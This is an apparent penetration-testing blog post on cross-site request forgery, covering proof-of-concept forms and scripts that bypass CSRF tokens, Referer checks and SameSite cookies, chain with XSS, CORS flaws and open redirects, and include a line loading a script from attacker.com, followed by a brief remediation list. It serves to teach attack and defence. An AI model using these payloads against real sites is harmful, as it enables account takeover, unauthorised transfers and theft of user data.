← Back to writing
Web Pentesting

CSRF Techniques & Bypass

May 25, 2024
3 min read
lawbyte

CSRF tricks a victim’s browser into making authenticated requests to another site without their knowledge. It’s most valuable when combined with state-changing actions — password change, email update, money transfer. This post covers building CSRF exploits and bypassing common defenses.

Basic CSRF PoC

GET-based CSRF

<!-- Image tag triggers GET automatically -->
<img src="https://target.com/account/delete?confirm=true">

POST-based CSRF

<html>
<body onload="document.forms[0].submit()">
<form action="https://target.com/account/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="10000">
<input name="currency" value="USD">
</form>
</body>
</html>

JSON POST CSRF

Browsers won’t send Content-Type: application/json in simple requests (requires pre-flight). But you can try:

<!-- text/plain bypasses pre-flight -->
<form action="https://target.com/api/user" method="POST"
enctype="text/plain">
<!-- name=value where name+value = valid JSON -->
<input name='{"action":"delete","user":"victim"}' value="">
</form>

Or if the server accepts both JSON and form-encoded, use form-encoded:

<form action="https://target.com/api/update" method="POST">
<input name="email" value="attacker@evil.com">
</form>

CSRF Token Bypass Techniques

1. Token not validated server-side

Simply omit the token from the request — if it still works, no server-side validation.

2. Token not tied to session

Grab a valid token from your own account, use it with another victim’s session.

3. Token in URL (Referer leakage)

POST /change-email
csrf_token=abc123 (in URL, not body)

If the token appears in the URL, it leaks via the Referer header to linked third-party sites.

4. Referer header bypass

If the server validates the Referer header instead of a token:

<!-- Create a page at: https://target.com.attacker.com/csrf -->
<!-- Referer will contain "target.com" -->

<!-- Or suppress Referer entirely -->
<meta name="referrer" content="no-referrer">
<form action="https://target.com/account/delete" method="POST">...</form>

Or trick a victim to browse through a URL that looks like target.com:

https://attacker.com?https://target.com

Some servers only check if target.com appears anywhere in the Referer.

5. Token predictability

If the CSRF token is derived from time, session ID, or username — reverse-engineer it and generate a valid token without the server issuing it.

6. Same-Site Scripting

If you find XSS on any page of the same site, use it to bypass CSRF protection:

// From XSS on target.com/blog/comment
fetch('/account/settings')
.then(r => r.text())
.then(html => {
var token = html.match(/csrf[^"]+value="([^"]+)"/)[1];
fetch('/account/change-email', {
method: 'POST',
body: 'csrf_token=' + token + '&email=attacker@evil.com',
headers: {'Content-Type': 'application/x-www-form-urlencoded'}
});
});

SameSite=Lax bypass

Lax allows cookies on top-level GET navigation. If the state-changing endpoint accepts GET:

<a href="https://target.com/account/delete?confirm=1">Click me</a>
<meta http-equiv="refresh" content="0;url=https://target.com/account/delete?confirm=1">

Or use a link click that the victim is tricked into making.

SameSite=Strict bypass via client-side redirect

If target.com has an open redirect, chain it:

https://target.com/redirect?url=/account/delete?confirm=1

Browser follows the redirect on target.com — cookies are sent with Strict.

SameSite=None without Secure (insecure contexts)

If SameSite=None but not Secure, any HTTP page can send it.

Some Chrome versions had a 2-minute window where a freshly set cookie treated as “None” before SameSite enforcement applied. Create a fresh session via login CSRF, then CSRF the action.


CORS-Assisted CSRF

If the API has both a CSRF vulnerability and a CORS misconfiguration:

fetch('https://api.target.com/user/settings', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});

This only works if the CORS policy allows attacker.com with credentials.


CSRF + Stored XSS Chain

  1. CSRF to submit content that gets stored.
  2. The stored content is XSS payload.
  3. XSS fires for all users who view it.
<!-- CSRF form that submits XSS payload to a forum post -->
<form action="https://target.com/forum/post" method="POST">
<input name="title" value="Test">
<input name="body" value='<script src="https://attacker.com/steal.js"></script>'>
</form>

Multi-Step CSRF

Some applications require multiple steps for sensitive actions. CSRF each step:

// Step 1: navigate to confirmation page
fetch('https://target.com/account/delete-step1', {
method: 'POST',
credentials: 'include',
body: 'confirm=yes'
})
.then(() => {
// Step 2: final confirmation
fetch('https://target.com/account/delete-step2', {
method: 'POST',
credentials: 'include',
body: 'confirm=yes&token=step1token' // if token from step 1 is predictable
});
});

Remediation

  • Use unpredictable, session-tied CSRF tokens verified on every state-changing request.
  • Implement SameSite=Strict or SameSite=Lax on session cookies.
  • Validate the Origin or Referer header as secondary defense.
  • Use the Double Submit Cookie pattern as an alternative.
  • Require re-authentication for critical actions (email change, password change, payment).

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.